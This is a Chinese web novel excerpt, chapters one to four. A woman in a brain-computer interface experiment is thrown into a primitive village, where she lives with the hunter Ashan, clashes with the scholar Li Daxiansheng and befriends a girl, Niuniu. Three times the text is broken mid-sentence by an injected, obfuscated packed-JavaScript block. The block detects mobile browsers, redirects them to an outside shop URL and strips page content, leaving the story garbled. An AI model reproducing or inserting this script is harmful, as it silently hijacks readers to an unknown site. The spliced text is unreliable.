《误交损友的我开始无限死亡》
1. 第一章 好戏开场
“琪琪,要钱不要?!”
我在出租屋里正好好躺着看电视剧呢,被一个夺门而入的不速之客挡在屏幕前。这个不速之客是我的朋友班班。
班班见我向她投去嫌弃的目光,反而愈发兴奋:“琪琪!我听说你现在不是失业了嘛!穷得要死了嘛!我大发慈悲给你介绍个发大财的活儿!怎么样?!”
她的话一句比一句扎我心窝。
我把她的脸从面前用力推开,很不高兴她挡住我正在播放的电视剧。“班班,你好好说话。我现在是在gap year,不是失业。”
“嚯!现在人就是不得了!把失业都说得这么清新脱俗!”明明是充满嘲讽的话,但是我从她的脸上居然看不出来,她怕不是真的这么认为的。我狠狠地翻了个白眼并不想理她。
她到好,直接从双肩包里掏出平板投屏征用了我正在看电视剧的投影仪,上面明晃晃地写着“XXX脑机测试计划”。这人又开始了,每次净是研究一些奇奇怪怪我也看不懂的玩意儿。我相当无语地躺着等着听她解释。
班班小讲堂开始了,她叽里呱啦说了一堆我听不懂的名词,什么参与这项计划就能成为小组核心成员进行脑机研究,可以给研究提供建议,还有机会为CCF-A发表论文做出卓越贡献,一旦将来这项技术投产就是人类的进步等等。
班班看我有点大脑微死的样子,连忙补充道:“参与可以拿10万刀乐!”
“可是脑机接口……是不是要在脑壳上打洞?”我虽然没文化,但是也有在一直冲浪的,这个名词我还是见过的。
“有两种,一种打洞的,叫做侵入式,效果极好,还有种则是非侵入式的,通过类似电极脉冲接触来接受脑波信号。”她看起来似乎很专业。
“打洞那我岂不是很容易死?你们确定不是谋杀?”我有些毛骨悚然。
班班突然噤声,一副震撼至极的模样。空气安静了有段时间后,她缓缓说道:“杀人可是要偿命的,琪琪。现在是法制社会。”她随后在平板上摆弄几下,我的大屏上出现了关于脑机微创手术的研究方向分析,“现在其实是有好几种微创的方式,但是大多数都得永远留在你的脑子里。你的担忧也有道理,对于人体组织的持续生长与侵入的微型机器人会发生什么意外状况,目前还是需要大量数据来分析研究的。所以你看这里,研究非侵入式,也就是纯穿戴接触式的方式也有,就是奖励减少到了5万刀乐。”
“只是戴个头盔?”我发表了疑问。
“没错。这是一期,每参与一期就是5万刀乐!”班班眉飞色舞得像个传销人员。
但是,我就吃这一套。她确实让我有了实感,我也可以靠自己抓住财富!
一周后,我跟着班班来到脑机实验室,实验室看起来很普通。可是一进门班班那个狗东西就不见了,这就让我很慌了。
在我还在到处找她的时候,有个研究人员来到我面前,递给我一份合同,开始跟我讲解各类注意事项。说实话,我听不懂,但又不想暴露,只能连连点头,表情保持得很严肃,要表现我听懂的样子。
协议签完字后,他们就要我躺下,他们说戴上头盔,人会进入类植物人状态,营养、肌肉、体温等一系列人体必要体征,他们都会替我保持,这些都是免费的。
我微微感到有一丝不对劲,这是我要参与多久?狗老班呢?狗东西把我骗来一句话都没说死哪儿去了?!
头盔戴在我头上,还没彻底躺下的时候,我的余光瞥见那个狗东西居然在门口数钱?!我还没来得及表达愤怒,头盔插电,瞬间眼前一黑,耳边只有我躺倒在柔软床铺上的声音。
没过几秒,我重新睁开双眼,面朝天空,灰蒙蒙的一片,鼻腔里充斥灼烧的气味,呼啸的寒风刮的我脸疼。
“什么情况?”我想说话,结果话到嘴边却变成了呀呀呓语,我缓缓地在脑中抠出了一个问号。奋力扭头扭身完全改变不自己的视线。奇怪,我到底变成什么东西了?
忽然闪过一个人脸,看清了又没完全看清,我就被盖上布蒙住头,不知道被交给了谁,耳边回荡着一个女人的声音:“闺女啊……你不要怪爹娘……怪只怪你是个女娃吧……”
哦,我是个婴儿。脑机还挺有意思,模拟穿越?是古代吗?哪个朝代?还是虚构的?
“大哥,我们今天就吃这个吗?不够分啊!”
“有肉吃就不错了!”
是两个很粗糙的声音。还未容我细想,头上猛烈钝痛,眼前又一黑。好了,这下也不用费劲再想了,我好像死了。
头上的阵痛持续很久,开瓢之痛也是被我体验到了。我痛得眼睛都睁不开,耳边响起来研究人员的声音。“琪琪女士,你感觉怎么样?还好吗?”
“不太好……”我呜咽道。
“琪琪女士,刚刚只是让您试用一下,所以安排的时间并没有持续很久。”
等我终于可以完整地睁开眼后,发现这头盔居然还有个目视镜,模拟视觉信号的吗?我无语地拉起来:“这个到底是在测试什么?”
“您是问刚才您看见的东西吗?那都是ai调动模拟信号给您组建的世界,我们需要收集不同规模数据段的世界对您大脑刺激后产生的脑波信号。”研究人员回答地很官方。
“那你们可以控制生成什么世界吗?我想要谈甜甜的恋爱,刚刚那都是啥呀?一睁眼就被敲死了,头到现在还痛着。”我不满道。
“很抱歉,我们实验室的算力现在还没办法做到很细致的定制内容,我们稍后会努力尝试一下。但是,您反馈的头痛这个问题,我们会马上修正模拟信号传递的持续时间,争取下次在您返回现实世界及时切断,以减少您的不适感。”研究人员看起来好像是真的有在听取我的意见。
“刚带我过来的那个人呢?”我还记得狗班班在那里数钱的一幕。
研究人员显然一下子没反应过来我说的是谁,略微停顿后,回复道:“不太清楚。”
我眼前又一黑倒在了床上,头痛还没缓解,他怎么擅自又给我开始了!这年头的钱是真的不好挣啊!
再次睁开眼,整个世界都是暗红色的。我心惊了一下,也很快反应过来,这只是傍晚的落日。脚很痛,我低头,发现脚底被荆棘扎出了很多伤口,血在浸染脚下的黄土。我有些发愣,看着漫山遍野的灌木竹林。背后突然传来“咔嚓,咔嚓”枯枝被踩断的声音,我惊恐回头。
是一个男人,他站在残阳的逆光里,高大得像一座山,赤裸的上身背着砍柴刀和猎弓,古铜色的皮肤上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119582|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全是混着泥土污垢的汗水,腰上系着一块肮脏的兽皮,手里提着一只还没断气的、血淋淋的灰兔。
空气中汗臭、血腥味和长久不洗澡的馊味混合在一起,我一下子没忍住被这股原始而野蛮的味道冲得干呕起来。
“哪来的……婆娘?”他开口了,声音嘶哑,带着一种我听不太懂的厚重方言。
我吓得直往树后躲,眼泪控制不住地落下,慌乱摆手:“别杀我!别吃我!我没钱,我什么都没有!”
他看着我,眼神里带着极度的惊愕。低头注意到我血肉模糊的脚,他皱眉,朝我伸出那只抓过兔子,沾满血迹的手。
“啊!别碰我!”我尖叫着往后躲,脑子里那种对未知的恐惧压倒了一切。
男人愣住,他伸在半空中的手尴尬地僵住。他大概从来没见过这么胆小、娇气、又莫名其妙的女人。他把那只血淋淋的兔子往腰间一挂,然后毫无征兆地蹲下身,一把将我从树后捞过来。
“放开我!你放开我!”我发慌地拍打他的肩膀,他的肌肉硬得像石头,硌得我生疼。
“别叫,狼,听得见。”他闷声闷气地吐出几个字,带着一种不容置疑的威严。
听到“狼”这个字,我瞬间像被掐住脖子的鸡一样噤声。我怂得很快,甚至主动把头埋进他那个汗津津、臭烘烘的肩膀里,哭得一抽一听的。
他背着我,一步一个脚印地往山下走。我趴在他背上,看着他后颈上厚厚的角质层和那些乱糟糟的头发,我慌得不行,这实验室是把我投进了一个什么都没有的世界吗?这让我怎么活啊!
在那段长长的山路上,我一边嫌弃着他的脏,一边死死搂着他的脖子。我大脑死机了一样在胡思乱想:一个怕我被狼吃掉的男人应该算是好人吧?我不能再像上一次那样被开瓢煮了吃啊……他不会要对我……?想着想着我的眼泪水开始落下。
男人把我背进他的石屋时,天已经完全黑透了。
那间屋子比我想象中还要糟糕。没有地板,只有踩实了的黄土,窗户是破的,用几块烂布勉强塞着,空气里充斥着陈年的霉味、烟火气和一种动物皮毛的腥臊。
他把我放在一堆干草和破麻布堆成的……应该算是床上面。我缩成一团,眼泪啪嗒啪嗒一直往下掉,脑子里继续一团乱麻,这个世界也太真实了,我能在这里呆到自然死亡吗?我可以善终吗?狗老班就是看不惯我舒舒服服在家里躺平,故意把我骗来这个什么狗屁实验报复我的吧!
“吃。”他递给我一碗水,碗边缺了个口,上面还沾着一圈黑乎乎的油垢。
我看着那碗水,里面漂着几根草屑,水色浑浊。在现实我连过期的矿泉水都不会碰,现在却要喝这碗可能装满寄生虫的东西。
“我不喝……”我哭着推开。
男人愣住,也没有再说什么,只是收回碗,自己仰头“咕咚咕咚”把水喝个精光。他抹了把嘴,开始剥那只血淋淋的兔子。
我闭上眼睛不敢看,可那皮肉被撕开的声音就在我耳边回响。我害怕极了,我怕他剥完兔子就来剥我。但是,我也实在是惊吓过度在那儿缩着缩着,迷迷糊糊睡着了,梦里光怪陆离,一会儿是我那安心的床和电视剧,一会儿是班班那奇怪的脑机接口计划,一会儿是我放不下的刀乐。
2. 第二章 严重低估
第二天一早,我被脚底板上的剧痛疼醒,低头看去,那些被荆棘扎出的伤口已经大片红肿,甚至有些化脓。来到这个世界他们甚至不给配双鞋,我暗自腹诽着,试着动一下脚,痛的我直抽搐。只能祈祷没有感染了,在这个没有消炎药、没有破伤风针的时代,一点点感染就能要我的命。这可比参加变形记还惨……认识狗班班也算是我命中一劫。不!相信她参加脑机实验的我绝对是被她报复了!
骂了狗班班一万句的我拖着残腿爬到锅台边,发现昨天背我回来的男人正在往火里添柴。
“你好,请问你怎么称呼啊?”我有些吃不准男人能不能听懂我讲话,但是现在我起码可以肯定他对我没有恶意。
他抬头,用沙哑的嗓音告诉我:“阿山。”
“哦……唔。你好,阿山。我叫琪琪。”我扯出一个微笑试图展示自己的善意。
阿山点点头,低下头继续捣鼓他那口黑乎乎的铁锅。他为我盛了碗铁锅里的糊糊,还递来一碗水。
我有些崩溃,脑子里还是昨天看到的原生态生水。我可怜巴巴地提出了我的要求:“水……水要烧开了才能喝。阿山,可不可以烧一锅热水……”
阿山看着我满眼无奈,但他还是听话地往另一个空的铁锅里倒水。
“琪琪,咱村没人这么喝水。”阿山面朝那一锅还未翻滚的水,语气里满满的心疼,“烧水的一捆柴,够煮三天的饭。李大先生说过,水里有地气,烧开,神仙就跑了,喝了会没力气。”
“可是,不煮开的水里会有寄生虫……阿山,我怕生病。”我抓着他的袖子,眼泪又憋不住要落下,满脸是泥。
“寄生虫是什么?”阿山有些懵懂地问。
我连忙解释:“就是会让你上吐下泻的东西!”
他听了有些不以为然,挠挠腿,又被自己这个动作疼得龇牙咧嘴。我才发现他腿上有一道很深的旧伤,由于长期没处理,伤口翻着紫红色的肉芽,流着黄水。我又看回自己还在阵阵作痛被扎的透心凉的双脚。
那一瞬间,我才意识到自己彻头彻尾低估了这场脑机实验。我恍惚地闭上眼,深吸一口气,默念:5万刀乐……5万刀乐……又呸了一口,一股霉味……
我被霉味呛到,一边咳嗽一边说:“你别动,我给你处理一下。”
我让阿山坐在石墩上,由于我没有酒精,只能把男人那把生锈的柴刀放在火上烤红,又用开水烫过几块我从衬衣上撕下来的干净布条。我学着电视剧里看来的方式,将他的腐肉割去,用烧红的刀止血。
“嘶——”阿山疼得肌肉紧绷,像一头被激怒的野兽。
我吓得差点扔掉手里的布条,整个人往后一缩,声音抖得不成样子:“别打我!我是为了你好……这叫消炎,不然伤口会烂掉的!”
他死死盯着我,眼神从凶狠变得疑惑,他看着我笨拙地用开水清洗他的伤口。
“琪琪,你……是巫医?”他发问的语气里带上一丝敬畏。
“我不是巫医……”我哆嗦着给他缠上布条,看着那个原本狰狞的伤口被我处理得规规矩矩,我心里竟然产生了小小的成就感,虽然我的手在处理的时候根本止不住发抖。如法炮制,我又把自己的脚包扎了下,痛的我眼泪鼻涕流了一脸。
就这样,我开始了与阿山的共同生活。才第一个月,我就受不了阿山身上经年累月的汗水、动物油脂和泥土发酵出来的味道,真的有被熏晕了好几次。
“阿山,你……你洗个澡吧。”我缩在墙角,用破烂的粗布衣捂着鼻子,声音小得像蚊子叫。
阿山正蹲在地上磨他的柴刀,闻言抬头看了我一眼,眉头皱得能夹死苍蝇:“洗啥澡?这天儿还没入伏,洗澡‘元气’就散了,会招风邪的。”
我又要急哭了。来到这个世界后,太多颠覆我三观的认知,让我变得很紧张很焦虑,特别容易哭。要知道在我原来的生活习惯里,一天不洗澡都是一种折磨。
我硬着头皮,哆哆嗦嗦地烧了一大锅开水,打算用来兑温水。
“求你了,阿山。你不洗,我……我就不吃饭。”我使出这辈子最没出息的威胁。
阿山看着我那副快要断气的模样,最后还是让了步。他大叹一口气,像个受刑的壮士,在我的监视下,笨拙地擦拭身体。后来,他发现洗完澡后身上那些又痒又红的小疹子真的消失了,看我的眼神才减少几分“看疯子”的嫌疑。
要知道,阿山不仅不洗澡,他甚至没有“刷牙”的概念。
每当我看着他那口被粗茶和旱烟熏得发黄的牙齿,我真的心里发怵,太脏了。
可是,在这个世界里没有牙膏,只能在锅底刮一些细细的木炭灰做替代。于是,为了能刷牙,我又求阿山去找盐。
“琪琪,村里的官盐贵的跟金子一样,都是李大先生在保管着。”阿山摇头。
我想起以前看动物世界,那个旁白有说过:“阿山,山里有没有那种,野驴或者狍子经常去舔的石头?或者那种……长着白毛的土坑?”
阿山背着柴刀,一脸疑惑:“你是说硝坑?那地方的土是苦的,那是硝毒,牲口爱舔,但人不能吃,吃了烧肚子,会拉稀。”
“那不是毒……那是没洗干净的盐。”我壮着胆子说。我记得以前学的药理课上讲过,那是粗糙的硝盐,虽然含有硫酸镁,但只要通过多次过滤和重结晶,能提取出救命的氯化钠。
阿山陷入久久的沉默,他肯定觉得我在发疯。然而他还是在漆黑的凌晨,带着我摸上后山。后山的风刮得我透骨凉,我紧紧拽着阿山的后衣襟,稍微有一点风吹草动就能吓得我往他背上钻。我们找到了那个斜坡。地表覆盖着一层灰白色的、晶体状的物质。阿山用铲子铲起一堆带着泥沙的白土装进麻袋。
“琪琪,这东西真能吃?”阿山抓了一把,放在鼻子下面闻了闻,“一股子冲味儿。”
“不能直接吃,阿山,咱们得先洗它。”我脑子里拼命搜索着以前老师教过关于提纯的记忆。
回到石屋,阿山按照我的指挥,开始了一场在村民眼里无异于“炼妖丹”的折腾。我叫他把那些白土倒进大木桶,倒进滚烫的开水,找来大量的草木灰和干净的细沙。阿山按照我的要求,在破漏的竹筐里铺上一层布、一层沙、一层炭灰。浑浊的泥水一遍遍通过这个简陋的滤层。阿山是个听话的学徒,一遍又一遍地倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119583|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水,直到滤出来的液滴变得清亮。最后一步他把那锅清亮的水架在火上猛烧。随着水蒸气升腾,锅底渐渐结出了一层灰白色的、细小的晶体。
阿山用指尖蘸了一点放进嘴里,眉头瞬间拧成了一团:“苦!”
“那是硝还没去干净。”我一边说一边小心翼翼地把这些灰白色的晶体刮下来,装进一个小布口袋里。
有了粗盐,就有了简易牙膏,我又开始折腾阿山。
“阿山,张嘴。”我手里拿着一根我磨得很圆润的细柳条。
“干啥?琪琪,你又要作什么妖?”阿山一脸警惕地往后躲。
“这是刷牙!牙烂了,肠胃就会烂,肠胃烂了,你就打不了猎了。”我开始胡说八道。
阿山无奈地张开嘴。我用沾了盐和炭灰的柳条在他牙齿上狠狠蹭着。他疼得眼泪都快下来了,我也吓得手抖,生怕他一巴掌把我拍碎。
“呸!苦死了,又咸又苦。”他一边吐唾沫一边骂,但后来的每天早上,他还是自己蹲在井边,笨拙地拿着那根柳条在嘴里捅。
我看着他那副努力适应文明的样子,心里突然泛起一阵酸楚。他原本可以做一个无忧无虑的野蛮人,却为了我这个外乡人,可能都不算外乡,算是异世界的人,在努力学习那些他完全理解不了的规矩。不对,不对,他只是个虚拟人,一段数据,我在操心他什么?我用力摇摇头否定自己的愁楚。
阿山每次打猎回来,身上难免会有刮蹭伤。虽然不想承认,但是现在每天担心这个虚拟人几乎已经成了我的习惯,我既恐惧又忙碌。我怕他感染,怕他得破伤风。我怕我在这个虚拟世界唯一一个可以正常交流的对象撒手人寰。
“坐下!”每一次我都着急,我控制不住自己跳起来,哪怕看到他手背上只有一道指甲盖大的红印。
我用最土的方法,拿着那块被我煮了无数遍、颜色发白的破布沾上浓盐水,一边哆嗦一边往他伤口上按。
“疼……琪琪,疼!你轻点!”阿山这个能跟狼搏斗的汉子,竟然被我这个拿块破布的怂包搞得呲牙咧嘴。
“别动!细菌会钻进去的!”我也怕他疼,但是我没办法,然后我又忍不住哭了。一边哭一边给他包扎,滑稽得很。
“琪琪,细菌是什么?”阿山痛得声音断断续续,还在发问。
“就是……”我脑子嗡嗡的,“就是邪物……嗯……大概是邪祟。”
阿山似乎也接受了我的解释。
我包扎的手法并没有因为为阿山进行多次处理而进步。要知道在现实世界里我就是那种能花钱请人办绝对不会自己动手的手残。虽然也因此,也被班班狠狠得嘲笑过。想到班班……我长长地叹了一口气,真是交友不慎。
阿山的胳膊被我缠得像个白色的石膏,他看着那臃肿的胳膊,有些感慨:“琪琪,你以后要是回了你的那个‘仙界’,那些仙医非得被你气死。”
我想我要是回去,我第一件事就是先手刃了班班。
阿山总说我是“仙界”落下来的,因为我不吃生肉,不喝生水,手白得不像话。他看我的眼神,始终带着一种小心翼翼的呵护,仿佛我是一件一碰就会碎的瓷器。
3. 第三章 李大先生
李大先生是村里唯一的读书人,据说早年间进城考过秀才,虽然没中,但他却带回村里一肚子半生不熟的经书和一套严丝合缝的旧逻辑。我觉得他很可怕,他是个充满毁灭性的复合型怪物。
我第一次见到李大先生,是在村口的神树下。
那天阿山带我去村里换几斤粗粮。我把自己裹得严严实实,低着头,小媳妇一样缩在阿山宽阔的影子后面。可就在经过那棵挂满红布条的大槐树时,周围原本嘈杂的说话声突然消失了。
一道冰冷、审视、带着腐朽书卷气的目光落在我的头顶。
“阿山,这便是你捡回来的那个‘福分’?”
声音听起来干涩如枯木摩擦,我颤抖着抬起头,看向李大先生。
他看起来四十几岁的样子,穿着一件浆洗得发青的长衫,领口扣得一丝不苟。在这一群浑身泥垢的村民里,显得他干净得诡异。他握着两颗油光锃亮的文玩核桃,在他那瘦得像鸡爪一样的手心里“咔哒、咔哒”地转着。
我吓得往阿山身后缩,手死死抓着阿山的皮腰带。
“是,我婆娘,胆子小。”阿山闷声回答,试图把我挡住。
李大先生没理会阿山,他往前迈了一步,那股陈年的霉味和墨水味直冲我的鼻腔。他盯着我,那种眼神不像是在看人,而是在打量一头稀有的牲口。
“眼神清亮,却无敬畏。”他冷笑一声,核桃转动的声音戛然而止,“阿山,这山外的世界乱了,妖孽也多。管好你的门,莫要让不净的东西,坏了咱青石村的脉。”
他给我的感觉真的危险。我不敢说话。
自那次遭遇之后,我再也会不离开阿山的屋子半步,活脱脱一个寄生在阿山身边的胆小鬼。外面那些村民看我的眼神也逐渐变得同李大先生一样可怕。我甚至有听到他们造谣说我在炼‘蚀骨粉’,在提取地底下的阴毒!
然而,就算我极力忍让到闭门不出,李大先生却还是不肯放过我。
因为我要烧开水喝,所以阿山每天都需要多劈一担柴,回来会晚些。就是在这个间隙里,李大先生带着他那几个壮丁装作恰好路过,而当时我正在院子里晾晒水壶。李大先生停下脚步,看着水壶上方还没散尽的白气,眉头拧成了一个疙瘩。
“琪琪姑娘,你每日生这许多火,就是为了把这水烧滚?”他指着水壶,语气里透着一种在我看来是病态的威严。
“是……烧开了……没病。”我哆嗦着回答,低着头不敢看他。
李大先生转过身,对着跟在他身后的村民长叹一声:“诸位,你们瞧瞧。水乃地母之血,受地气而生。这女人,非要用凡火将这地气烧尽。然后喝进肚里的,不是水,是‘死灰’!长此以往,咱们村的后生,气力全无,阳刚尽失!”
村民们开始窃窃私语,看向我的眼神里充满了敌意。
“我……我没有……开水真的更干净……”我快哭出来了,我想解释细菌,想解释流行病。
但李大先生突然转过头,死死盯着我,那眼神里有一闪而过的杀机:“琪琪姑娘,你总是说‘干净’,是在嫌弃咱们这方水土‘脏’吗?嫌弃祖宗传下来的活法‘脏’吗?”
我哑口无言,他不是在跟我辩论,他是在剥夺我说话的权利。那一刻,李大先生的声音像是一柄重锤,把“嫌弃祖宗”这颗钉子死死地往我脑门上钉。我很清楚被扣上这顶帽子会意味着什么……我僵在原地,甚至能感觉到汗水顺着脊梁骨流进衣服里的冰冷。周围村民的目光变得像针扎一样,原本那些憨厚的脸庞,在李大先生的引导下,全都蒙上了愤怒的阴影。
“我……我不是……”我张着嘴,喉咙里像塞了团棉花,半个词都挤不出来。
就在李大先生往前逼了一步,那对老核桃快要怼到我鼻尖时,一只布满老茧、宽大得像扇子一样的手,猛地按在我的肩膀上。
那是阿山。
“砰!”的一声闷响。
阿山把他背上那捆足有上百斤重的湿柴火狠狠地砸在地上,溅起的泥点子落在李大先生那双干净的布鞋上。
场面瞬间死寂。
“李大先生。”阿山开口了,声音厚重得像闷雷,带着一股常年跟野兽搏斗的煞气。
他把我往身后猛地一拉,那一刻,我整个人都撞进他臭烘烘、却厚实得像墙一样的怀抱里。我的心跳快得要跳出嗓子眼,死死抓着他的衣服。
“琪琪胆子小,身子骨更脆。”阿山没有像我预想的那样去跟李大先生争论“死水活水”,他用一种非常本地化的逻辑在帮我解围,“她是从南边那种娇贵地方来的。那儿的水,跟咱这儿的山泉不一样,她喝生水就拉稀,拉到吐胆水。我不给她烧开,她活不过这月底。”
这番话很糙,却极其有效。
李大先生皱眉,转了转核桃:“阿山,这可是‘地气’的问题……”
“地气保的是咱这儿的爷们。”阿山硬生生地打断他,目光直视着李大先生,没有半点退缩,“她这种跟豆腐一样的婆娘,受不起地气,只能喝这冒气的死水。她若是病死了,谁给我煮饭?谁给我缝补?”
“呵。”李大先生冷笑一声,眼神在我身上转了一圈,最后落在阿山脸上,“阿山,你倒是护得紧。罢了,既然是她自个儿命薄,受不得神水,那就由她去吧。只是……莫要让她这些‘南边的臭毛病’,带坏了村里其他的后生。”
李大先生一挥袖子,带着人群散了。
我整个人依旧抖得像筛糠,眼泪止不住地掉。
阿山粗鲁地抹了一把我的脸,声音却压得很低:“别怕,琪琪。回屋去。”
我知道阿山刚才那套“娇气论”救了我的命,但也彻底把我钉在村子的边缘。在他们眼里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119584|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我不再是一个“人”,而是一个阿山养着的、带着某种怪病的、随时会死掉的异类。
我抽噎着:“阿山……对不起,我总是给你惹麻烦。”
阿山没说话,他弯腰抱起那捆柴火,沉默地往石屋走。走了几步,他闷声丢下一句:“水,我给你烧。要是那些老家伙再来,你就躲进地窖。”
我看着他的背影,心里却一点也不踏实。我知道,李大先生那一关没那么好过。阿山用蛮力把门暂时关上了,但李大先生那双阴毒的眼睛,时刻透过门缝,想要惩治我这个外面来的异端。
不过,撇开李大先生那些阴魂不散的盯梢和挑衅,我跟阿山生活得还算愉快。阿山以前的生活大概只能用野人来形容。但是,自从他主动帮我挡住李大先生的刁难后,他好像默许了我的那些“怪癖”。于是,我也厚脸皮地开始一点点蚕食他的生活空间。
大改造的第一步就是处理阿山已经盘包浆的饭桌,我用煮沸的盐水反复擦拭,直到那张油腻得反光的木桌子露出木头的纹理。然后,把屋里那些散发着腐臭味的兽皮全搬到阳光下暴晒,一遍遍拍打掉里面的灰尘和不知道什么品种的虫尸。
阿山打猎回来,站在被我清扫得干干净净,甚至撒了一层薄薄石灰的地面,有些无奈地笑:“琪琪,你快把这屋子磨穿了。”
我蹲在地上,仰头看着他:“干净了,病就找不到咱们。”
此刻的阿山背着一只野羊,满头大汗,夕阳的光从破窗户投射进来,勾勒出他宽阔的肩膀。我不自禁勾起嘴角。
入夜阿山会生起一堆火,把打回来的野味抹上我炼制的硝盐,架在火上烤。这是我最喜欢的时刻,油脂滴在火里的“滋滋”声,像是动听的音乐。
“琪琪,仙界的人……也吃肉吗?”他撕下一块最嫩的腿肉,用干净的树叶包好,小心翼翼地递给我。
“吃,但他们不吃这种烟熏的。”我小口咬着,肉质很柴,但那种原始的咸鲜味让我这个在现实世界只吃外卖预制菜的人感到一种莫名的满足。
我时常会给他讲故事。讲那个不需要打猎就有饭吃的世界,讲那种能飞上天的“铁鸟”,讲那种能把人的声音传到千里之外的“盒子”。
阿山听得很专注,火光映在他深邃的眼窝里。
“那儿的人,一定都很长寿吧?”他憨憨地问。
“嗯,能活到八九十岁。”我靠在他的肩膀上,他的衣服上还有淡淡的皂角味,这也是我强迫他搞卫生去洗衣服的成果。
“那我也要活那么久。”他突然握紧我的手,掌心的老茧硌得我有点疼,却让我感到一种极致的安全感,“我要活得够久,才能一直护着你这个娇气包。”
听到那话的一瞬间,我的呼吸短暂停滞了片刻,我真想完全忘记这是个虚拟世界的事实,我甚至在想能在这儿多留一天,也是赚的。
4. 第四章 妞妞
阿山照常进山去打猎了,走之前他把石屋的院门扣上,嘱咐我千万别出去。在这么个原始的村落,我蹲在篱笆根底下,无聊地用树枝在泥地上画着出租屋里防潮地垫的方格。
虽说死了就能回到现实,现在的磨难都是虚妄。但是,我依旧控制不住怀念起光明整洁的现代文明,还有班班那个光会整活的兔崽子。而这里,脚下踩的是混着鸡粪的黄泥,指间是洗不清的黑垢,令人绝望。
“姐姐……你在画房子吗?”一个奶声奶气的声音,隔着那道稀疏的竹篱笆,突兀地砸在死寂的午后。
我吓得浑身一颤,手里的树枝“啪”地折断,像只受惊的猫一样缩起肩膀,惊恐地望向声音来源。
那是一个小女孩。
她太小了,甚至还没篱笆高,只能拼命仰着脖子,把黑乎乎的小脸努力挤进竹条的缝隙里。她头发乱得像个被踩过的鸟窝,上面还粘着几根枯黄的谷草,穿着已经看不出颜色的褂子,袖口处油亮得能反光,那是长年累月用袖子擦鼻涕和油脂留下的痕迹。
“你……你别靠这么近!”我连忙后退,我曾自诩没有洁癖,甚至还嘲笑过班班过分爱整洁的习惯,现在回旋镖击中自己,我可能也有洁癖的症状了。
小女孩被我的反应吓到,眨了眨那双在瘦得有些畸形的脸上显得格外空灵的大眼睛,里面蓄满好奇。她没有走,反而更用力地把小手伸进篱笆缝里,手心里攥着的一半生红薯。红薯没洗,带着湿漉漉的红胶泥,甚至还有一个被虫蛀过的黑洞。
“我叫妞妞!”她咧开嘴笑,露出两颗缺口的门牙,“仙女姐姐,吃。这是我爹从山上刨的,可甜了。”
我看着那半个红薯,脑子里瞬间炸开了无数条警示。我胃里一阵翻江倒海,想都没想就拒绝了:“我不要!脏死了!你快走!”
小女孩的手僵住。她看着我,眼神里闪过一丝极度的局促。她发现我是嫌弃这红薯不够干净,于是,她做出一个让我终生难忘的举动。她把那半个红薯放在自己那件油腻腻的褂子上,用那双黑漆漆的小手使劲儿地擦,由于太用力,红薯的表皮被蹭掉一层,露出白生生的肉。她甚至还对着红薯哈了几口气,试图让它看起来亮堂一点。
“干净了,仙女姐姐。”她再次递过来,语气里带着一种近乎祈求的真诚。
我看着她布满老茧和小口子的手,突然觉得喉咙口堵得难受。在现实世界,我从未见过这样的眼神。那些人即便给我送礼,眼里也藏着算计。这个小女孩为什么要给一个被全村唾弃的“妖女”送吃的?
我鬼使神差地走过去,没有接那个红薯,而是从口袋里掏出阿山给我留的一块烤兔肉,那是我唯一拿得出手的口粮。
“我不吃红薯。”我声音颤抖地把兔肉从篱笆缝里塞出去,“你把这个拿走,以后别再来了,这里……不安全。”
妞妞接过那块兔肉,眼睛瞬间亮得像夏夜里的两颗寒星。她没有吃,而是像捧着什么圣物一样,小心翼翼地捧在手心里,对着我深深地鞠了一个躬。
“谢谢仙女姐姐!仙女姐姐人真好!”
她蹦蹦跳跳地跑远了,细小的辫子在脑后一甩一甩。我瘫坐在泥地上,看着自己那双因为恐惧而颤抖的手,我不太确定自己是否在制造变量。
从那天起,妞妞成了我唯一的世界窗口。
她是整个青石村唯一不怕我的人。李大先生在神树下说我是“勾魂的洋妖”,说阿山生活习惯的变化是被我吸了精气,终有一天会得到反噬。但妞妞不信。她会趁着大人在田里忙活,偷偷溜到我的篱笆外面,给我带一朵野花,或者是一根漂亮的鸡毛。
我也开始尝试着改造她。
“妞妞,手伸出来。”我隔着篱笆,端着一盆烧开后的温水。
“仙女姐姐,又要洗啊?”她有些不好奇地伸出那双总是沾满泥的小手。
我一点点把她指甲缝里的污垢扣干净。我没有肥皂,只能用阿山寻来的皂角,搓出一点点单薄的泡沫。
“洗干净了,肚子里才不会长虫子。”我细声细气地说。
